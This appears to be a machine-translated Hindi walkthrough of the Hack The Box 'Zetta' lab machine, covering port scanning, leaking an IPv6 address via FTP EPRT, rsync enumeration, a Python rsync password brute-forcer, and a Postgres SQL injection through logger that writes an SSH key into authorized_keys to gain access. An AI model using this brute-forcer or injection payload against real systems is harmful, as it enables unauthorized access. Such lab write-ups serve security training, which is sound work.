🐾 👦 🚲 हैक द बॉक्स - ज़ेटा वॉकथ्रू FXP, IPv6, rsync, Postgres और SQLi 🛃 🤲🏽 👩🏻‍🚒

मैं HackTheBox साइट से आगे की प्रक्रिया के लिए भेजे गए समाधान प्रकाशित करना जारी रखता हूं । मुझे उम्मीद है कि इससे कम से कम किसी को सूचना सुरक्षा के क्षेत्र में विकसित करने में मदद मिलेगी। इस लेख में, हम FXP का उपयोग कर सर्वर का IPv6 पता सीखते हैं, rsync के साथ काम करते हैं, और पोस्टग्रेज में लॉगिंग करते समय SQL इंजेक्शन का उपयोग करते हुए ssh कुंजी भी लिखते हैं।

प्रयोगशाला का कनेक्शन वीपीएन के माध्यम से है। यह सलाह दी जाती है कि किसी कार्य कंप्यूटर से या किसी होस्ट से कनेक्ट न करें जहां आपके लिए महत्वपूर्ण डेटा उपलब्ध है, जैसा कि आप निजी नेटवर्क पर उन लोगों के साथ समाप्त होते हैं जो सूचना सुरक्षा के क्षेत्र में कुछ जानते हैं :)

संगठनात्मक जानकारी

विशेष रूप से उन लोगों के लिए जो सूचना और कंप्यूटर सुरक्षा के किसी भी क्षेत्र में कुछ नया सीखना और विकसित करना चाहते हैं, मैं निम्नलिखित श्रेणियों के बारे में लिखूंगा और बात करूंगा:

PWN;
(Crypto);
c (Network);
(Reverse Engineering);
(Stegano);
WEB-.

, , , .

, , Telegram . , , .

. , - , .

टोह

इस मशीन का आईपी एड्रेस 10.10.10.156 है, जिसे मैं / etc / मेजबानों में जोड़ता हूँ।

10.10.10.156    zetta.htb

सबसे पहले, हम खुले बंदरगाहों को स्कैन करते हैं। चूंकि नैम्प के साथ सभी बंदरगाहों को स्कैन करने में लंबा समय लगता है, इसलिए मैं इसे पहले मैसकैन के साथ करूंगा। हम प्रति सेकंड 500 पैकेट की गति से tun0 इंटरफ़ेस से सभी टीसीपी और यूडीपी पोर्ट को स्कैन करते हैं।

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500

अगला, आपको ज्ञात बंदरगाहों के बारे में अधिक जानकारी एकत्र करने की आवश्यकता है। ऐसा करने के लिए, ए-विकल्प के साथ नैम्प का उपयोग करें।

nmap -A zetta.htb -p21,22,80

एक नजर डालिए कि ftp पर क्या है।

नतीजतन, बैनर कहता है कि हम IPv6 के माध्यम से कनेक्ट कर सकते हैं। आइए देखें कि वेब सर्वर पर क्या है।

हम एफएक्सपी के समर्थन के साथ मूल एफ़टीपी का निरीक्षण करते हैं। एफएक्सपी दो एफ़टीपी सर्वरों के बीच फ़ाइलों को सीधे आपके कंप्यूटर पर डाउनलोड किए बिना स्थानांतरित करने का एक तरीका है। एक एफएक्सपी सत्र के दौरान, क्लाइंट दो अलग-अलग सर्वरों के लिए दो एफ़टीपी कनेक्शन खोलता है, पहले सर्वर पर एक फ़ाइल का अनुरोध करता है, पोर्ट कमांड में दूसरे सर्वर का आईपी पता दर्शाता है।

थोड़ा स्क्रॉल करते हुए, हम एफ़टीपी के लिए उपयोगकर्ता नाम और पासवर्ड पाते हैं। और क्रेडेंशियल्स में प्रवेश करने के बाद, हमें बताया जाता है कि एफएक्सपी के लिए समर्थन है।

लेकिन या तो सर्वर पर कोई फाइल नहीं है, या वे हमें नहीं दी गई हैं। लेकिन जब से यह सर्वर एफएक्सपी का समर्थन करता है, हम एक और सर्वर होने का दिखावा कर सकते हैं, लक्ष्य सर्वर ने एक कनेक्शन शुरू किया। इस प्रकार, हम RFC 2428 के अनुसार इसका IPv6 पता प्रकट करेंगे।

यह आगे की स्कैनिंग के लिए आवश्यक है, क्योंकि होस्ट में ऐसी सेवाएँ हो सकती हैं जो केवल IPv6 कनेक्शन को स्वीकार करती हैं। इसलिए हमें अपना पता जानना होगा।

Tcpdump का उपयोग करके, हम उस ट्रैफ़िक को ट्रैक करेंगे जो 4321 पोर्ट पर जाता है।

और netcat का उपयोग करके हम ftp से कनेक्ट होते हैं और क्रेडेंशियल्स निर्दिष्ट करते हैं।

nc zetta.htb 21

और अब हम EPRT अनुरोध भेजते हैं।

और हम लक्ष्य होस्ट के IPv6 पते का निरीक्षण करते हैं।

अब इसे IPv4 के बजाय / etc / मेजबान पर लिखें और n6 का उपयोग करके सभी पोर्ट्स को स्कैन करें, -6 विकल्प जोड़ें।

nmap -6 zetta.htb -p-

अब हम -ए विकल्प का उपयोग करके अधिक जानकारी प्राप्त करते हैं।

nmap -A -6 zetta.htb -p21,22,80,8730

प्रवेश बिंदु

Rsync (रिमोट सिंक्रोनाइज़ेशन) UNIX जैसी प्रणालियों के लिए एक प्रोग्राम है जो ट्रैफ़िक को कम करते हुए दो स्थानों पर फ़ाइलों और निर्देशिकाओं को सिंक्रनाइज़ करता है। Rsync एक निर्देशिका की सामग्री को कॉपी या प्रदर्शित कर सकता है और फ़ाइलों की प्रतिलिपि बना सकता है, वैकल्पिक रूप से संपीड़न और पुनरावृत्ति का उपयोग कर सकता है। rsync केवल फ़ाइल परिवर्तनों को स्थानांतरित करता है, जो कार्यक्रम के प्रदर्शन को प्रभावित करता है। आइए देखते हैं मॉड्यूल की सूची।

rsync -6 --list-only rsync://zetta.htb:8730/

इस सूची से कुछ महत्वपूर्ण निर्देशिकाएँ गायब हैं। लेकिन आदि डायरेक्टरी उपलब्ध थी।

rsync -6 -av rsync://zetta.htb:8730/etc/rsync*

हम स्थानीय मशीन पर इस फाइल के लिए, rsyncd.conf पढ़ते हैं।

rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .

कॉन्फ़िगरेशन में एक छिपा हुआ मॉड्यूल है - home_roy, जो उपयोगकर्ता की होम डायरेक्टरी रॉय को इंगित करता है, और यह rsyncd.secrets से संरक्षित पासवर्ड है, लेकिन यह हमारे लिए उपलब्ध नहीं है।

rsync -6 rsync://zetta.htb:8730/home_roy/

उपयोगकर्ता

जब अधिक विचार नहीं थे, तो मुझे पासवर्ड छाँटना पड़ा। इसके लिए, पायथन कोड लिखा गया था और Seclists से पासवर्ड की एक सूची का उपयोग किया गया था।

#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
    passwords = f.read().split('\n')

for password in passwords:
    s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
    clear()
    clear()
    print(("password: " + password).ljust(30, " "), end="\r\r")
    
    s.recvuntil("\"Cloud sync\".\n\n\n")
    if b"@ERROR:" not in s.recv():
        print("found!!!")
        break
    s.close()
clear()

अब जब हम पासवर्ड जानते हैं, तो ssh कुंजी जेनरेट करें और इसे सर्वर पर अपलोड करें।

और इस कुंजी के साथ SSH के माध्यम से कनेक्ट करते हुए, हम उपयोगकर्ता को टोकन लेते हैं।

जड़

टोकन के आगे एक संकेत है - कार्यों की एक सूची।

चलो उन्हें खोलते हैं।

todo .tudu.xml

आइए सभी नियोजित कार्यों को देखें। सर्वर git का उपयोग करता है।

इस स्थिति में, इवेंट लॉग डेटाबेस में सहेजे जाते हैं।

और पासवर्ड बदलने की भी योजना है, जो इस समय एक निश्चित प्रकार की दिखती है।

पहली चीज जो हम करते हैं, वह समझ में आती है, क्योंकि वहां हम कॉन्फ़िगरेशन परिवर्तन का इतिहास देख सकते हैं। सर्वर पर सभी .IT निर्देशिका खोजें।

हम rsyslog जर्नल में सबसे अधिक रुचि रखते हैं, इसलिए मैं इसकी संपूर्ण रिपॉजिटरी को स्थानीय मशीन में कॉपी करता हूं।

अब हम डायरेक्टरी में रिपॉजिटरी लोड किए गए और gitk का उपयोग करते हैं (ग्राफिकल इंटरफ़ेस एक ट्रिफ़ल है, लेकिन सुविधाजनक है)।

हम क्रेडेंशियल्स देखते हैं, लेकिन अगर हम उनका उपयोग करते हैं, तो हम असफल होते हैं। साथ ही रिपॉजिटरी में आप उस टेम्प्लेट को देख सकते हैं जिसके अनुसार लॉग डेटाबेस में रखे गए हैं। लॉग को /var/log/postgresql/postgresql-11-main.log लॉग में सहेजा जाता है, जो कि हम जिस समूह के सदस्य हैं, उसके लिए सुलभ है।

चूंकि हम एक डेटाबेस के साथ काम कर रहे हैं, आप इंजेक्शन की कोशिश कर सकते हैं। हम लॉगर का उपयोग करके रिकॉर्डिंग के लिए घटनाओं का निर्माण करेंगे, साथ ही वास्तविक समय में निगरानी करेंगे कि लॉग में क्या मिलता है (सुविधा के लिए, आप घड़ी का उपयोग करके एक विभाजित विंडो के साथ qterminal का उपयोग कर सकते हैं)।

watch -n 1 cat postgresql-11-main.log

और घटना को भेजें।

logger -p local7.info "'"

और एक त्रुटि होती है जो एक संभावित इंजेक्शन को इंगित करती है। / Etc / passwd को देखते हुए, हमें पता चलता है कि पोस्टग्रैज सेवा उपयोगकर्ता के पास / bin / bash शेल है।

इस प्रकार, हम ssh के द्वारा लॉगिन कर सकते हैं। यह हमें कमांड इतिहास सहित पोस्टग्रेज फ़ाइल तक पहुंच प्रदान करेगा। यदि हम इंजेक्शन का उपयोग करके एक फ़ाइल लिख सकते हैं, तो जांचें।

logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"

ठीक। हम ssh कुंजी जेनरेट करेंगे और पोस्ट की गई सेवा उपयोगकर्ता की होम डायरेक्टरी में सर्वर की सार्वजनिक कुंजी लिखेंगे: /var/lib/postgresql/.ssh/authorized_keys।

logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"

अब हम ssh पर चलते हैं।

ssh -i psg_id_rsa postgres@zetta.htb

हम पोस्टग्रेज के इतिहास को देखते हैं।

और हम पासवर्ड ढूंढते हैं। हम टू-डू सूची से पासवर्ड नियम को याद करते हैं, उपयोगकर्ता को रूट से बदलें, और लॉग इन करें।

हम पूरे अधिकार के साथ हैं!

आप हमसे टेलीग्राम पर जुड़ सकते हैं । आइए एक समुदाय को एक साथ रखें जिसमें ऐसे लोग होंगे जो आईटी के कई क्षेत्रों में पारंगत हैं, फिर हम हमेशा किसी भी आईटी और सूचना सुरक्षा मुद्दों पर एक दूसरे की मदद कर सकते हैं।

हैक द बॉक्स - ज़ेटा वॉकथ्रू FXP, IPv6, rsync, Postgres और SQLi

टोह

प्रवेश बिंदु

उपयोगकर्ता

जड़

More articles: